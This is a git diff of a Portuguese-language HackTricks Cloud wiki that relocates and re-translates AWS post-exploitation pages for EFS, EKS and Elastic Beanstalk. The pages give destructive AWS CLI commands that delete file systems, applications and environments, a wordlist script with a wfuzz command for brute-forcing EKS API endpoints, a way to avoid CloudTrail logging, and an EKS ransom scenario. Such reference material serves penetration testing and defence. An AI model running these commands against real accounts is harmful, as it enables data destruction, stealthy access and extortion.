diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-efs-post-exploitation.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-efs-post-exploitation/README.md
similarity index 57%
rename from src/pentesting-cloud/aws-security/aws-post-exploitation/aws-efs-post-exploitation.md
rename to src/pentesting-cloud/aws-security/aws-post-exploitation/aws-efs-post-exploitation/README.md
index 6278669c6..a9df69803 100644
--- a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-efs-post-exploitation.md
+++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-efs-post-exploitation/README.md
@@ -1,34 +1,34 @@
-# AWS - EFS Pós Exploração
+# AWS - EFS Post Exploitation
 
-{{#include ../../../banners/hacktricks-training.md}}
+{{#include ../../../../banners/hacktricks-training.md}}
 
 ## EFS
 
 Para mais informações, consulte:
 
 {{#ref}}
-../aws-services/aws-efs-enum.md
+../../aws-services/aws-efs-enum.md
 {{#endref}}
 
 ### `elasticfilesystem:DeleteMountTarget`
 
-Um atacante poderia deletar um alvo de montagem, potencialmente interrompendo o acesso ao sistema de arquivos EFS para aplicações e usuários que dependem desse alvo de montagem.
+Um attacker poderia excluir um mount target, potencialmente interrompendo o acesso ao EFS file system para aplicações e usuários que dependem desse mount target.
 ```sql
 aws efs delete-mount-target --mount-target-id <value>
 ```
-**Impacto Potencial**: Interrupção do acesso ao sistema de arquivos e potencial perda de dados para usuários ou aplicativos.
+**Impacto Potencial**: Disrupção do acesso ao sistema de arquivos e possível perda de dados para usuários ou aplicações.
 
 ### `elasticfilesystem:DeleteFileSystem`
 
-Um atacante poderia deletar um sistema de arquivos EFS inteiro, o que poderia levar à perda de dados e impactar aplicativos que dependem do sistema de arquivos.
+Um atacante poderia excluir um sistema de arquivos EFS inteiro, o que pode levar à perda de dados e afetar aplicações que dependem desse sistema de arquivos.
 ```perl
 aws efs delete-file-system --file-system-id <value>
 ```
-**Impacto Potencial**: Perda de dados e interrupção de serviço para aplicações que utilizam o sistema de arquivos excluído.
+**Impacto Potencial**: Perda de dados e interrupção de serviço para aplicações que usam o sistema de arquivos excluído.
 
 ### `elasticfilesystem:UpdateFileSystem`
 
-Um atacante poderia atualizar as propriedades do sistema de arquivos EFS, como o modo de throughput, para impactar seu desempenho ou causar exaustão de recursos.
+Um atacante poderia atualizar as propriedades do sistema de arquivos EFS, como o modo de throughput, para impactar seu desempenho ou causar esgotamento de recursos.
 ```sql
 aws efs update-file-system --file-system-id <value> --provisioned-throughput-in-mibps <value>
 ```
@@ -36,11 +36,11 @@ aws efs update-file-system --file-system-id <value> --provisioned-throughput-in-
 
 ### `elasticfilesystem:CreateAccessPoint` e `elasticfilesystem:DeleteAccessPoint`
 
-Um atacante poderia criar ou excluir pontos de acesso, alterando o controle de acesso e potencialmente concedendo a si mesmo acesso não autorizado ao sistema de arquivos.
+Um atacante poderia criar ou excluir pontos de acesso, alterando o controle de acesso e potencialmente obtendo acesso não autorizado ao sistema de arquivos.
 ```arduino
 aws efs create-access-point --file-system-id <value> --posix-user <value> --root-directory <value>
 aws efs delete-access-point --access-point-id <value>
 ```
 **Impacto Potencial**: Acesso não autorizado ao sistema de arquivos, exposição ou modificação de dados.
 
-{{#include ../../../banners/hacktricks-training.md}}
+{{#include ../../../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-eks-post-exploitation.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-eks-post-exploitation.md
deleted file mode 100644
index 8d93c8ba5..000000000
--- a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-eks-post-exploitation.md
+++ /dev/null
@@ -1,143 +0,0 @@
-# AWS - EKS Pós Exploração
-
-{{#include ../../../banners/hacktricks-training.md}}
-
-## EKS
-
-Para mais informações, consulte
-
-{{#ref}}
-../aws-services/aws-eks-enum.md
-{{#endref}}
-
-### Enumerar o cluster a partir do Console AWS
-
-Se você tiver a permissão **`eks:AccessKubernetesApi`**, você pode **visualizar objetos Kubernetes** através do console AWS EKS ([Saiba mais](https://docs.aws.amazon.com/eks/latest/userguide/view-workloads.html)).
-
-### Conectar ao Cluster Kubernetes da AWS
-
-- Maneira fácil:
-```bash
-# Generate kubeconfig
-aws eks update-kubeconfig --name aws-eks-dev
-```
-- Não é tão fácil assim:
-
-Se você conseguir **obter um token** com **`aws eks get-token --name <cluster_name>`** mas não tiver permissões para obter informações do cluster (describeCluster), você pode **preparar seu próprio `~/.kube/config`**. No entanto, tendo o token, você ainda precisa da **url do endpoint para se conectar** (se você conseguiu obter um token JWT de um pod leia [aqui](aws-eks-post-exploitation.md#get-api-server-endpoint-from-a-jwt-token)) e o **nome do cluster**.
-
-No meu caso, não encontrei as informações nos logs do CloudWatch, mas eu **encontrai no userData dos LaunchTemplates** e nas **máquinas EC2 no userData também**. Você pode ver essas informações no **userData** facilmente, por exemplo, no próximo exemplo (o nome do cluster era cluster-name):
-```bash
-API_SERVER_URL=https://6253F6CA47F81264D8E16FAA7A103A0D.gr7.us-east-1.eks.amazonaws.com
-
-/etc/eks/bootstrap.sh cluster-name --kubelet-extra-args '--node-labels=eks.amazonaws.com/sourceLaunchTemplateVersion=1,alpha.eksctl.io/cluster-name=cluster-name,alpha.eksctl.io/nodegroup-name=prd-ondemand-us-west-2b,role=worker,eks.amazonaws.com/nodegroup-image=ami-002539dd2c532d0a5,eks.amazonaws.com/capacityType=ON_DEMAND,eks.amazonaws.com/nodegroup=prd-ondemand-us-west-2b,type=ondemand,eks.amazonaws.com/sourceLaunchTemplateId=lt-0f0f0ba62bef782e5 --max-pods=58' --b64-cluster-ca $B64_CLUSTER_CA --apiserver-endpoint $API_SERVER_URL --dns-cluster-ip $K8S_CLUSTER_DNS_IP --use-max-pods false
-```
-<details>
-
-<summary>kube config</summary>
-```yaml
-describe-cache-parametersapiVersion: v1
-clusters:
-- cluster:
-certificate-authority-data: LS0tLS1CRUdJTiBDRVJUSUZJQ0FURS0tLS0tCk1JSUMvakNDQWVhZ0F3SUJBZ0lCQURBTkJna3Foa2lHOXcwQkFRc0ZBREFWTVJNd0VRWURWUVFERXdwcmRXSmwKY201bGRHVnpNQjRYRFRJeU1USXlPREUyTWpjek1Wb1hEVE15TVRJeU5URTJNamN6TVZvd0ZURVRNQkVHQTFVRQpBeE1LYTNWaVpYSnVaWFJsY3pDQ0FTSXdEUVlKS29aSWh2Y05BUUVCQlFBRGdnRVBBRENDQVFvQ2dnRUJBTDlXCk9OS0ZqeXZoRUxDZGhMNnFwWkMwa1d0UURSRVF1UzVpRDcwK2pjbjFKWXZ4a3FsV1ZpbmtwOUt5N2x2ME5mUW8KYkNqREFLQWZmMEtlNlFUWVVvOC9jQXJ4K0RzWVlKV3dzcEZGbWlsY1lFWFZHMG5RV1VoMVQ3VWhOanc0MllMRQpkcVpzTGg4OTlzTXRLT1JtVE5sN1V6a05pTlUzSytueTZSRysvVzZmbFNYYnRiT2kwcXJSeFVpcDhMdWl4WGRVCnk4QTg3VjRjbllsMXo2MUt3NllIV3hhSm11eWI5enRtbCtBRHQ5RVhOUXhDMExrdWcxSDBqdTl1MDlkU09YYlkKMHJxY2lINjYvSTh0MjlPZ3JwNkY0dit5eUNJUjZFQURRaktHTFVEWUlVSkZ4WXA0Y1pGcVA1aVJteGJ5Nkh3UwpDSE52TWNJZFZRRUNQMlg5R2c4Q0F3RUFBYU5aTUZjd0RnWURWUjBQQVFIL0JBUURBZ0trTUE4R0ExVWRFd0VCCi93UUZNQU1CQWY4d0hRWURWUjBPQkJZRUZQVXFsekhWZmlDd0xqalhPRmJJUUc3L0VxZ1hNQlVHQTFVZEVRUU8KTUF5Q0NtdDFZbVZ5Ym1WMFpYTXdEUVlKS29aSWh2Y05BUUVMQlFBRGdnRUJBS1o4c0l4aXpsemx0aXRPcGcySgpYV0VUSThoeWxYNWx6cW1mV0dpZkdFVVduUDU3UEVtWW55eWJHbnZ5RlVDbnczTldMRTNrbEVMQVE4d0tLSG8rCnBZdXAzQlNYamdiWFovdWVJc2RhWlNucmVqNU1USlJ3SVFod250ZUtpU0J4MWFRVU01ZGdZc2c4SlpJY3I2WC8KRG5POGlHOGxmMXVxend1dUdHSHM2R1lNR0Mvd1V0czVvcm1GS291SmtSUWhBZElMVkNuaStYNCtmcHUzT21UNwprS3VmR0tyRVlKT09VL1c2YTB3OTRycU9iSS9Mem1GSWxJQnVNcXZWVDBwOGtlcTc1eklpdGNzaUJmYVVidng3Ci9sMGhvS1RqM0IrOGlwbktIWW4wNGZ1R2F2YVJRbEhWcldDVlZ4c3ZyYWpxOUdJNWJUUlJ6TnpTbzFlcTVZNisKRzVBPQotLS0tLUVORCBDRVJUSUZJQ0FURS0tLS0tCg==
-server: https://6253F6CA47F81264D8E16FAA7A103A0D.gr7.us-west-2.eks.amazonaws.com
-name: arn:aws:eks:us-east-1:<acc-id>:cluster/<cluster-name>
-contexts:
-- context:
-cluster: arn:aws:eks:us-east-1:<acc-id>:cluster/<cluster-name>
-user: arn:aws:eks:us-east-1:<acc-id>:cluster/<cluster-name>
-name: arn:aws:eks:us-east-1:<acc-id>:cluster/<cluster-name>
-current-context: arn:aws:eks:us-east-1:<acc-id>:cluster/<cluster-name>
-kind: Config
-preferences: {}
-users:
-- name: arn:aws:eks:us-east-1:<acc-id>:cluster/<cluster-name>
-user:
-exec:
-apiVersion: client.authentication.k8s.io/v1beta1
-args:
-- --region
-- us-west-2
-- --profile
-- <profile>
-- eks
-- get-token
-- --cluster-name
-- <cluster-name>
-command: aws
-env: null
-interactiveMode: IfAvailable
-provideClusterInfo: false
-```
-</details>
-
-### De AWS para Kubernetes
-
-O **criador** do **cluster EKS** **SEMPRE** poderá acessar a parte do cluster kubernetes do grupo **`system:masters`** (admin k8s). No momento da redação, não há **nenhuma maneira direta** de descobrir **quem criou** o cluster (você pode verificar o CloudTrail). E não há **como** **remover** esse **privilégio**.
-
-A maneira de conceder **acesso a mais usuários ou funções do AWS IAM** sobre o K8s é usando o **configmap** **`aws-auth`**.
-
-> [!WARNING]
-> Portanto, qualquer pessoa com **acesso de escrita** sobre o config map **`aws-auth`** poderá **comprometer todo o cluster**.
-
-Para mais informações sobre como **conceder privilégios extras a funções e usuários IAM** na **mesma ou em contas diferentes** e como **abusar** disso, [**verifique esta página**](../../kubernetes-security/abusing-roles-clusterroles-in-kubernetes/#aws-eks-aws-auth-configmaps).
-
-Confira também [**este post incrível**](https://blog.lightspin.io/exploiting-eks-authentication-vulnerability-in-aws-iam-authenticator) **para aprender como a autenticação IAM -> Kubernetes funciona**.
-
-### De Kubernetes para AWS
-
-É possível permitir uma **autenticação OpenID para a conta de serviço kubernetes** para permitir que elas assumam funções na AWS. Aprenda como [**isso funciona nesta página**](../../kubernetes-security/kubernetes-pivoting-to-clouds.md#workflow-of-iam-role-for-service-accounts-1).
-
-### OBTER Endpoint do Api Server a partir de um Token JWT
-
-Decodificando o token JWT, obtemos o id do cluster e também a região. ![image](https://github.com/HackTricks-wiki/hacktricks-cloud/assets/87022719/0e47204a-eea5-4fcb-b702-36dc184a39e9) Sabendo que o formato padrão para a URL do EKS é
-```bash
-https://<cluster-id>.<two-random-chars><number>.<region>.eks.amazonaws.com
-```
-Não encontrei nenhuma documentação que explique os critérios para os 'dois caracteres' e o 'número'. Mas fazendo alguns testes por conta própria, vejo que esses se repetem:
-
-- gr7
-- yl4
-
-De qualquer forma, são apenas 3 caracteres que podemos fazer brute force. Use o script abaixo para gerar a lista.
-```python
-from itertools import product
-from string import ascii_lowercase
-
-letter_combinations = product('abcdefghijklmnopqrstuvwxyz', repeat = 2)
-number_combinations = product('0123456789', repeat = 1)
-
-result = [
-f'{''.join(comb[0])}{comb[1][0]}'
-for comb in product(letter_combinations, number_combinations)
-]
-
-with open('out.txt', 'w') as f:
-f.write('\n'.join(result))
-```
-Então com wfuzz
-```bash
-wfuzz -Z -z file,out.txt --hw 0 https://<cluster-id>.FUZZ.<region>.eks.amazonaws.com
-```
-> [!WARNING]
-> Lembre-se de substituir & .
-
-### Bypass CloudTrail
-
-Se um atacante obtiver credenciais de um AWS com **permissão sobre um EKS**. Se o atacante configurar seu próprio **`kubeconfig`** (sem chamar **`update-kubeconfig`**) como explicado anteriormente, o **`get-token`** não gera logs no Cloudtrail porque não interage com a API da AWS (apenas cria o token localmente).
-
-Assim, quando o atacante se comunica com o cluster EKS, **o cloudtrail não registrará nada relacionado ao usuário sendo roubado e acessando-o**.
-
-Note que o **cluster EKS pode ter logs habilitados** que registrarão esse acesso (embora, por padrão, estejam desativados).
-
-### EKS Ransom?
-
-Por padrão, o **usuário ou função que criou** um cluster **SEMPRE terá privilégios de administrador** sobre o cluster. E esse é o único acesso "seguro" que a AWS terá sobre o cluster Kubernetes.
-
-Portanto, se um **atacante comprometer um cluster usando fargate** e **remover todos os outros administradores** e **deletar o usuário/função da AWS que criou** o Cluster, ~~o atacante poderia ter **rendido o cluste**~~**r**.
-
-> [!TIP]
-> Note que se o cluster estiver usando **EC2 VMs**, pode ser possível obter privilégios de Admin a partir do **Node** e recuperar o cluster.
->
-> Na verdade, se o cluster estiver usando Fargate, você poderia EC2 nodes ou mover tudo para EC2 para o cluster e recuperá-lo acessando os tokens no node.
-
-{{#include ../../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-eks-post-exploitation/README.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-eks-post-exploitation/README.md
new file mode 100644
index 000000000..8257ce799
--- /dev/null
+++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-eks-post-exploitation/README.md
@@ -0,0 +1,143 @@
+# AWS - EKS Post Exploitation
+
+{{#include ../../../../banners/hacktricks-training.md}}
+
+## EKS
+
+Para mais informações, veja
+
+{{#ref}}
+../../aws-services/aws-eks-enum.md
+{{#endref}}
+
+### Enumerar o cluster pelo AWS Console
+
+Se você tem a permissão **`eks:AccessKubernetesApi`**, você pode **visualizar objetos do Kubernetes** via AWS EKS console ([Saiba mais](https://docs.aws.amazon.com/eks/latest/userguide/view-workloads.html)).
+
+### Conectar ao AWS Kubernetes Cluster
+
+- Maneira fácil:
+```bash
+# Generate kubeconfig
+aws eks update-kubeconfig --name aws-eks-dev
+```
+- Não é tão simples:
+
+Se você consegue **obter um token** com **`aws eks get-token --name <cluster_name>`** mas não tem permissões para obter informações do cluster (describeCluster), você pode **preparar seu próprio `~/.kube/config`**. No entanto, tendo o token, você ainda precisa do **endpoint URL para se conectar** (se você conseguiu um JWT token de um pod leia [aqui](aws-eks-post-exploitation/README.md#get-api-server-endpoint-from-a-jwt-token)) e do **nome do cluster**.
+
+No meu caso, não encontrei as informações nos logs do CloudWatch, mas eu **as encontrei em LaunchTemaplates userData** e também em **máquinas EC2 no userData**. Você pode ver essas informações no **userData** facilmente, por exemplo no exemplo abaixo (o nome do cluster era cluster-name):
+```bash
+API_SERVER_URL=https://6253F6CA47F81264D8E16FAA7A103A0D.gr7.us-east-1.eks.amazonaws.com
+
+/etc/eks/bootstrap.sh cluster-name --kubelet-extra-args '--node-labels=eks.amazonaws.com/sourceLaunchTemplateVersion=1,alpha.eksctl.io/cluster-name=cluster-name,alpha.eksctl.io/nodegroup-name=prd-ondemand-us-west-2b,role=worker,eks.amazonaws.com/nodegroup-image=ami-002539dd2c532d0a5,eks.amazonaws.com/capacityType=ON_DEMAND,eks.amazonaws.com/nodegroup=prd-ondemand-us-west-2b,type=ondemand,eks.amazonaws.com/sourceLaunchTemplateId=lt-0f0f0ba62bef782e5 --max-pods=58' --b64-cluster-ca $B64_CLUSTER_CA --apiserver-endpoint $API_SERVER_URL --dns-cluster-ip $K8S_CLUSTER_DNS_IP --use-max-pods false
+```
+<details>
+
+<summary>kube config</summary>
+```yaml
+describe-cache-parametersapiVersion: v1
+clusters:
+- cluster:
+certificate-authority-data: LS0tLS1CRUdJTiBDRVJUSUZJQ0FURS0tLS0tCk1JSUMvakNDQWVhZ0F3SUJBZ0lCQURBTkJna3Foa2lHOXcwQkFRc0ZBREFWTVJNd0VRWURWUVFERXdwcmRXSmwKY201bGRHVnpNQjRYRFRJeU1USXlPREUyTWpjek1Wb1hEVE15TVRJeU5URTJNamN6TVZvd0ZURVRNQkVHQTFVRQpBeE1LYTNWaVpYSnVaWFJsY3pDQ0FTSXdEUVlKS29aSWh2Y05BUUVCQlFBRGdnRVBBRENDQVFvQ2dnRUJBTDlXCk9OS0ZqeXZoRUxDZGhMNnFwWkMwa1d0UURSRVF1UzVpRDcwK2pjbjFKWXZ4a3FsV1ZpbmtwOUt5N2x2ME5mUW8KYkNqREFLQWZmMEtlNlFUWVVvOC9jQXJ4K0RzWVlKV3dzcEZGbWlsY1lFWFZHMG5RV1VoMVQ3VWhOanc0MllMRQpkcVpzTGg4OTlzTXRLT1JtVE5sN1V6a05pTlUzSytueTZSRysvVzZmbFNYYnRiT2kwcXJSeFVpcDhMdWl4WGRVCnk4QTg3VjRjbllsMXo2MUt3NllIV3hhSm11eWI5enRtbCtBRHQ5RVhOUXhDMExrdWcxSDBqdTl1MDlkU09YYlkKMHJxY2lINjYvSTh0MjlPZ3JwNkY0dit5eUNJUjZFQURRaktHTFVEWUlVSkZ4WXA0Y1pGcVA1aVJteGJ5Nkh3UwpDSE52TWNJZFZRRUNQMlg5R2c4Q0F3RUFBYU5aTUZjd0RnWURWUjBQQVFIL0JBUURBZ0trTUE4R0ExVWRFd0VCCi93UUZNQU1CQWY4d0hRWURWUjBPQkJZRUZQVXFsekhWZmlDd0xqalhPRmJJUUc3L0VxZ1hNQlVHQTFVZEVRUU8KTUF5Q0NtdDFZbVZ5Ym1WMFpYTXdEUVlKS29aSWh2Y05BUUVMQlFBRGdnRUJBS1o4c0l4aXpsemx0aXRPcGcySgpYV0VUSThoeWxYNWx6cW1mV0dpZkdFVVduUDU3UEVtWW55eWJHbnZ5RlVDbnczTldMRTNrbEVMQVE4d0tLSG8rCnBZdXAzQlNYamdiWFovdWVJc2RhWlNucmVqNU1USlJ3SVFod250ZUtpU0J4MWFRVU01ZGdZc2c4SlpJY3I2WC8KRG5POGlHOGxmMXVxend1dUdHSHM2R1lNR0Mvd1V0czVvcm1GS291SmtSUWhBZElMVkNuaStYNCtmcHUzT21UNwprS3VmR0tyRVlKT09VL1c2YTB3OTRycU9iSS9Mem1GSWxJQnVNcXZWVDBwOGtlcTc1eklpdGNzaUJmYVVidng3Ci9sMGhvS1RqM0IrOGlwbktIWW4wNGZ1R2F2YVJRbEhWcldDVlZ4c3ZyYWpxOUdJNWJUUlJ6TnpTbzFlcTVZNisKRzVBPQotLS0tLUVORCBDRVJUSUZJQ0FURS0tLS0tCg==
+server: https://6253F6CA47F81264D8E16FAA7A103A0D.gr7.us-west-2.eks.amazonaws.com
+name: arn:aws:eks:us-east-1:<acc-id>:cluster/<cluster-name>
+contexts:
+- context:
+cluster: arn:aws:eks:us-east-1:<acc-id>:cluster/<cluster-name>
+user: arn:aws:eks:us-east-1:<acc-id>:cluster/<cluster-name>
+name: arn:aws:eks:us-east-1:<acc-id>:cluster/<cluster-name>
+current-context: arn:aws:eks:us-east-1:<acc-id>:cluster/<cluster-name>
+kind: Config
+preferences: {}
+users:
+- name: arn:aws:eks:us-east-1:<acc-id>:cluster/<cluster-name>
+user:
+exec:
+apiVersion: client.authentication.k8s.io/v1beta1
+args:
+- --region
+- us-west-2
+- --profile
+- <profile>
+- eks
+- get-token
+- --cluster-name
+- <cluster-name>
+command: aws
+env: null
+interactiveMode: IfAvailable
+provideClusterInfo: false
+```
+</details>
+
+### From AWS to Kubernetes
+
+O **criador** do **EKS cluster** **sempre** terá acesso à parte do kubernetes pertencente ao grupo **`system:masters`** (k8s admin). No momento desta escrita não existe **uma forma direta** de descobrir **quem criou** o cluster (você pode checar CloudTrail). E **não há como** **remover** esse **privilégio**.
+
+A forma de conceder **acesso ao K8s para mais AWS IAM users or roles** é usando o **configmap** **`aws-auth`**.
+
+> [!WARNING]
+> Portanto, qualquer pessoa com **write access** sobre o config map **`aws-auth`** poderá **comprometer todo o cluster**.
+
+Para mais informações sobre como **conceder privilégios extras a IAM roles & users** na **mesma ou em outra conta** e como **abusar** disso veja [**privesc check this page**](../../../kubernetes-security/abusing-roles-clusterroles-in-kubernetes/index.html#aws-eks-aws-auth-configmaps).
+
+Confira também[ **this awesome**](https://blog.lightspin.io/exploiting-eks-authentication-vulnerability-in-aws-iam-authenticator) **post para aprender como a autenticação IAM -> Kubernetes funciona**.
+
+### De Kubernetes para AWS
+
+É possível permitir uma **OpenID authentication para kubernetes service account** para que elas possam assumir roles na AWS. Saiba como [**this work in this page**](../../../kubernetes-security/kubernetes-pivoting-to-clouds.md#workflow-of-iam-role-for-service-accounts-1).
+
+### Obter o endpoint do API Server a partir de um token JWT
+
+Decodificando o token JWT obtemos o cluster id e também a região. ![image](https://github.com/HackTricks-wiki/hacktricks-cloud/assets/87022719/0e47204a-eea5-4fcb-b702-36dc184a39e9) Sabendo que o formato padrão para a URL do EKS é
+```bash
+https://<cluster-id>.<two-random-chars><number>.<region>.eks.amazonaws.com
+```
+Não encontrei nenhuma documentação que explique os critérios para os 'two chars' e o 'number'. Mas, fazendo alguns testes por minha conta, vejo que estes aparecem com frequência:
+
+- gr7
+- yl4
+
+De qualquer forma, são apenas 3 chars; podemos usar bruteforce neles. Use o script abaixo para gerar a lista
+```python
+from itertools import product
+from string import ascii_lowercase
+
+letter_combinations = product('abcdefghijklmnopqrstuvwxyz', repeat = 2)
+number_combinations = product('0123456789', repeat = 1)
+
+result = [
+f'{''.join(comb[0])}{comb[1][0]}'
+for comb in product(letter_combinations, number_combinations)
+]
+
+with open('out.txt', 'w') as f:
+f.write('\n'.join(result))
+```
+Em seguida, com wfuzz
+```bash
+wfuzz -Z -z file,out.txt --hw 0 https://<cluster-id>.FUZZ.<region>.eks.amazonaws.com
+```
+> [!WARNING]
+> Lembre-se de substituir & .
+
+### Bypass CloudTrail
+
+Se um atacante obtiver credenciais de uma conta AWS com **permissão sobre um EKS**. Se o atacante configurar seu próprio **`kubeconfig`** (sem chamar **`update-kubeconfig`**) como explicado anteriormente, o **`get-token`** não gera logs no Cloudtrail porque não interage com a API da AWS (ele apenas cria o token localmente).
+
+Então, quando o atacante se comunica com o cluster EKS, **cloudtrail não vai registrar nada relacionado ao usuário comprometido e ao seu acesso**.
+
+Observe que o **cluster EKS pode ter logs habilitados** que irão registrar esse acesso (embora, por padrão, eles estejam desabilitados).
+
+### Ransom no EKS?
+
+Por padrão o **usuário ou role que criou** um cluster **sempre terá privilégios de admin** sobre o cluster. E esse é o único acesso "seguro" que a AWS terá sobre o cluster Kubernetes.
+
+So, if an **attacker compromises a cluster using Fargate** and **removes all the other admins** and d**eletes the AWS user/role that created** the Cluster, ~~o atacante poderia ter **extorquido o cluste**~~**r**.
+
+> [!TIP]
+> Observe que se o cluster estiver usando **EC2 VMs**, pode ser possível obter privilégios de Admin a partir do **Node** e recuperar o cluster.
+>
+> Na verdade, se o cluster estiver usando Fargate, você poderia criar nodes EC2 ou mover tudo para EC2 no cluster e recuperá‑lo acessando os tokens no node.
+
+{{#include ../../../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-elastic-beanstalk-post-exploitation.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-elastic-beanstalk-post-exploitation.md
deleted file mode 100644
index 66f7393fb..000000000
--- a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-elastic-beanstalk-post-exploitation.md
+++ /dev/null
@@ -1,70 +0,0 @@
-# AWS - Elastic Beanstalk Pós Exploração
-
-{{#include ../../../banners/hacktricks-training.md}}
-
-## Elastic Beanstalk
-
-Para mais informações:
-
-{{#ref}}
-../aws-services/aws-elastic-beanstalk-enum.md
-{{#endref}}
-
-### `elasticbeanstalk:DeleteApplicationVersion`
-
-> [!NOTE]
-> TODO: Testar se mais permissões são necessárias para isso
-
-Um atacante com a permissão `elasticbeanstalk:DeleteApplicationVersion` pode **deletar uma versão de aplicativo existente**. Esta ação pode interromper pipelines de implantação de aplicativos ou causar a perda de versões específicas de aplicativos se não forem feitas cópias de segurança.
-```bash
-aws elasticbeanstalk delete-application-version --application-name my-app --version-label my-version
-```
-**Impacto Potencial**: Interrupção da implantação de aplicativos e possível perda de versões de aplicativos.
-
-### `elasticbeanstalk:TerminateEnvironment`
-
-> [!NOTE]
-> TODO: Testar se mais permissões são necessárias para isso
-
-Um atacante com a permissão `elasticbeanstalk:TerminateEnvironment` pode **encerrar um ambiente Elastic Beanstalk existente**, causando inatividade para o aplicativo e possível perda de dados se o ambiente não estiver configurado para backups.
-```bash
-aws elasticbeanstalk terminate-environment --environment-name my-existing-env
-```
-**Impacto Potencial**: Tempo de inatividade da aplicação, perda potencial de dados e interrupção dos serviços.
-
-### `elasticbeanstalk:DeleteApplication`
-
-> [!NOTE]
-> TODO: Testar se mais permissões são necessárias para isso
-
-Um atacante com a permissão `elasticbeanstalk:DeleteApplication` pode **deletar uma aplicação inteira do Elastic Beanstalk**, incluindo todas as suas versões e ambientes. Esta ação pode causar uma perda significativa de recursos e configurações da aplicação se não forem feitas cópias de segurança.
-```bash
-aws elasticbeanstalk delete-application --application-name my-app --terminate-env-by-force
-```
-**Impacto Potencial**: Perda de recursos de aplicação, configurações, ambientes e versões de aplicação, levando a interrupções de serviço e potencial perda de dados.
-
-### `elasticbeanstalk:SwapEnvironmentCNAMEs`
-
-> [!NOTE]
-> TODO: Testar se mais permissões são necessárias para isso
-
-Um atacante com a permissão `elasticbeanstalk:SwapEnvironmentCNAMEs` pode **trocar os registros CNAME de dois ambientes do Elastic Beanstalk**, o que pode fazer com que a versão errada da aplicação seja servida aos usuários ou levar a comportamentos não intencionais.
-```bash
-aws elasticbeanstalk swap-environment-cnames --source-environment-name my-env-1 --destination-environment-name my-env-2
-```
-**Impacto Potencial**: Servir a versão errada da aplicação para os usuários ou causar comportamento não intencional na aplicação devido a ambientes trocados.
-
-### `elasticbeanstalk:AddTags`, `elasticbeanstalk:RemoveTags`
-
-> [!NOTA]
-> TODO: Testar se mais permissões são necessárias para isso
-
-Um atacante com as permissões `elasticbeanstalk:AddTags` e `elasticbeanstalk:RemoveTags` pode **adicionar ou remover tags em recursos do Elastic Beanstalk**. Essa ação pode levar a alocação incorreta de recursos, cobrança ou gerenciamento de recursos.
-```bash
-aws elasticbeanstalk add-tags --resource-arn arn:aws:elasticbeanstalk:us-west-2:123456789012:environment/my-app/my-env --tags Key=MaliciousTag,Value=1
-
-aws elasticbeanstalk remove-tags --resource-arn arn:aws:elasticbeanstalk:us-west-2:123456789012:environment/my-app/my-env --tag-keys MaliciousTag
-```
-**Impacto Potencial**: Alocação incorreta de recursos, cobrança ou gerenciamento de recursos devido a tags adicionadas ou removidas.
-
-{{#include ../../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-elastic-beanstalk-post-exploitation/README.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-elastic-beanstalk-post-exploitation/README.md
new file mode 100644
index 000000000..33ba2cd03
--- /dev/null
+++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-elastic-beanstalk-post-exploitation/README.md
@@ -0,0 +1,70 @@
+# AWS - Elastic Beanstalk Pós-Exploração
+
+{{#include ../../../../banners/hacktricks-training.md}}
+
+## Elastic Beanstalk
+
+Para mais informações:
+
+{{#ref}}
+../../aws-services/aws-elastic-beanstalk-enum.md
+{{#endref}}
+
+### `elasticbeanstalk:DeleteApplicationVersion`
+
+> [!NOTE]
+> TODO: Testar se são necessárias mais permissões para isto
+
+Um atacante com a permissão `elasticbeanstalk:DeleteApplicationVersion` pode **excluir uma versão existente da aplicação**. Essa ação pode interromper pipelines de implantação de aplicações ou causar a perda de versões específicas da aplicação caso não haja backup.
+```bash
+aws elasticbeanstalk delete-application-version --application-name my-app --version-label my-version
+```
+**Impacto Potencial**: Interrupção da implantação da aplicação e possível perda de versões da aplicação.
+
+### `elasticbeanstalk:TerminateEnvironment`
+
+> [!NOTE]
+> TODO: Testar se são necessárias mais permissões para isso
+
+Um atacante com a permissão `elasticbeanstalk:TerminateEnvironment` pode **encerrar um ambiente existente do Elastic Beanstalk**, causando indisponibilidade da aplicação e possível perda de dados se o ambiente não estiver configurado para cópias de segurança.
+```bash
+aws elasticbeanstalk terminate-environment --environment-name my-existing-env
+```
+**Potential Impact**: Tempo de inatividade da aplicação, possível perda de dados e interrupção dos serviços.
+
+### `elasticbeanstalk:DeleteApplication`
+
+> [!NOTE]
+> TODO: Testar se são necessárias mais permissões para isto
+
+Um atacante com a permissão `elasticbeanstalk:DeleteApplication` pode **excluir toda uma aplicação do Elastic Beanstalk**, incluindo todas as suas versões e ambientes. Essa ação pode causar perda significativa de recursos e configurações da aplicação se não houver backup.
+```bash
+aws elasticbeanstalk delete-application --application-name my-app --terminate-env-by-force
+```
+**Impacto Potencial**: Perda de recursos da aplicação, configurações, ambientes e versões da aplicação, levando à interrupção do serviço e possível perda de dados.
+
+### `elasticbeanstalk:SwapEnvironmentCNAMEs`
+
+> [!NOTE]
+> TODO: Testar se mais permissões são necessárias para isto
+
+Um atacante com a permissão `elasticbeanstalk:SwapEnvironmentCNAMEs` pode **trocar os registros CNAME de dois ambientes do Elastic Beanstalk**, o que pode fazer com que a versão errada da aplicação seja servida aos usuários ou causar comportamento indesejado.
+```bash
+aws elasticbeanstalk swap-environment-cnames --source-environment-name my-env-1 --destination-environment-name my-env-2
+```
+**Impacto Potencial**: Servir a versão errada da aplicação aos usuários ou causar comportamento não intencional na aplicação devido a ambientes trocados.
+
